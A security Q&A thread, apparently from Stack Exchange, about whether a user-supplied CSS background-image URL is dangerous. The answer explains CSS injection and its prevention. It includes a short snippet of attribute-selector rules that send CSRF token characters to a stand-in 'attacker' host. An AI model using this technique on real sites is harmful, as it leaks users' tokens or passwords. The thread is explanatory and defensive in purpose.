I have a web application that loads an image by URL and shows it with the style-tag (background-image). Users can link their image.

Would it be possible for a bad actor to fake an image and inject code into the application (for example load a .php file)? I've tested it with the URL being something like example.com/script.js but the image icon is empty and the link simply is in the source code without any code being loaded so a direct injection is not possible. Therefore, can I fake an URL to look as it would be an image?

  • 1
    What exactly is the backend code for adding the image? – yeah_well May 6 '19 at 15:15
  • if loaded in the context of an image, it should be assumed safe, and if not, that's a major browser flaw that would likely be corrected ASAP by folks other than you. – dandavis May 6 '19 at 20:34

This attack is called CSS Injection and it can be quite a beast.

What is CSS Injection?

With HTML 5 becoming the shiny new thing for web developers, CSS has learned a few new tricks as well. You can do quite powerful things with CSS selectors, things that many web developers will look at and thing "What? CSS can do that!?".

As CSS became ever more powerful, various hackers started to take a look at it and found interesting ways of exploiting it.

For instance, if an attacker is able to inject arbitrary CSS code, they could run the following:

input[name=csrf_token][value=^a] { 
  background-image: url(http://attacker/log?a); 
input[name=csrf_token][value=^b] { 
  background-image: url(http://attacker/log?b); 

This exploit code takes advantage of several CSS features. It selects an <input> element with two attributes. The first is "name" and the second is "value". (e.g. <input name="csrf_token" value="a5c319fabb...">). Any such input field starting with a value of "a" would then cause the background-image of said input field being set to be loaded from http://attacker/log?a. The attacker could log this and thus get information about the CSRF token being sent.

This alone would not be enough to read the CSRF token, but with enough rules covering every possible CSRF token (or password), an attacker could reliably read out CSRF tokens of any user who is served this custom CSS.

Of course, an attacker would need more to actually exploit this vulnerability, but it's a start.

Why have I never heard of CSS Injection before?

A burglar does not care about your super high-end nigh-pickproof lock core if the door in the back is made out of glass and can be smashed with a big rock.

Similarly, would-be hackers on the internet looking to make a quick profit don't care about the most sophisticated exploits possible, but rather about something that will work quite reliably on many websites they try it on.

As such, CSS Injection is an exploitation technique that is somewhat obscure, as your average "y0u be3n h4xx3d"-actor will probably use XSS or SQL-Injection to get what they want.

How can I prevent CSS Injections?

Don't let anyone inject CSS.

The best way to prevent CSS Injections is to not let users ever inject anything into a CSS file that you serve. If you would like to allow users to customize their UI, give them selections (e.g. "color1", "color2", etc.) and turn them into concrete values on the server side (e.g. "color1" would match with "#490088").

Use Input-Validation to ensure sane input.

If you absolutely must let users inject their CSS - which I heavily recommend against - then you have to validate the input. This means if you have to let a user use their own color for an element, validate it against the following RegEx:


Any input that deviates from being a six-digit hexadecimal input with optional # prepended will be rejected.

What about including malicious code like .js or .svg files as background image?

Yes and no. Linked JavaScript resources will be interpreted as image, not as script and therefore will not run. SVG files should be safe too, as the W3C defines that scripts within SVG files "must not be executed". The question if browsers adhere to this standard or not is another one and out of scope.

As mentioned above, I would always beware of allowing users to do anything "custom".

  • In my example, the link looks like this: domain.com?site=1&imgUrl=<LINK> but if I enter for example a script, it does not load. the imgUrl is displayed in the style-tag in"background-image: url()" but there are several checks that for example disallow the "-symbol etc. So I thought about the image itself being the attacker. Is there a way to do this? – dannymo May 6 '19 at 15:47
  • I'm sorry, but I can't really help with "concrete examples". I can't pentest your application for you. You either have to do it yourself or contact a company of professional penetration testers, if this is in your budget. – MechMK1 May 7 '19 at 11:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.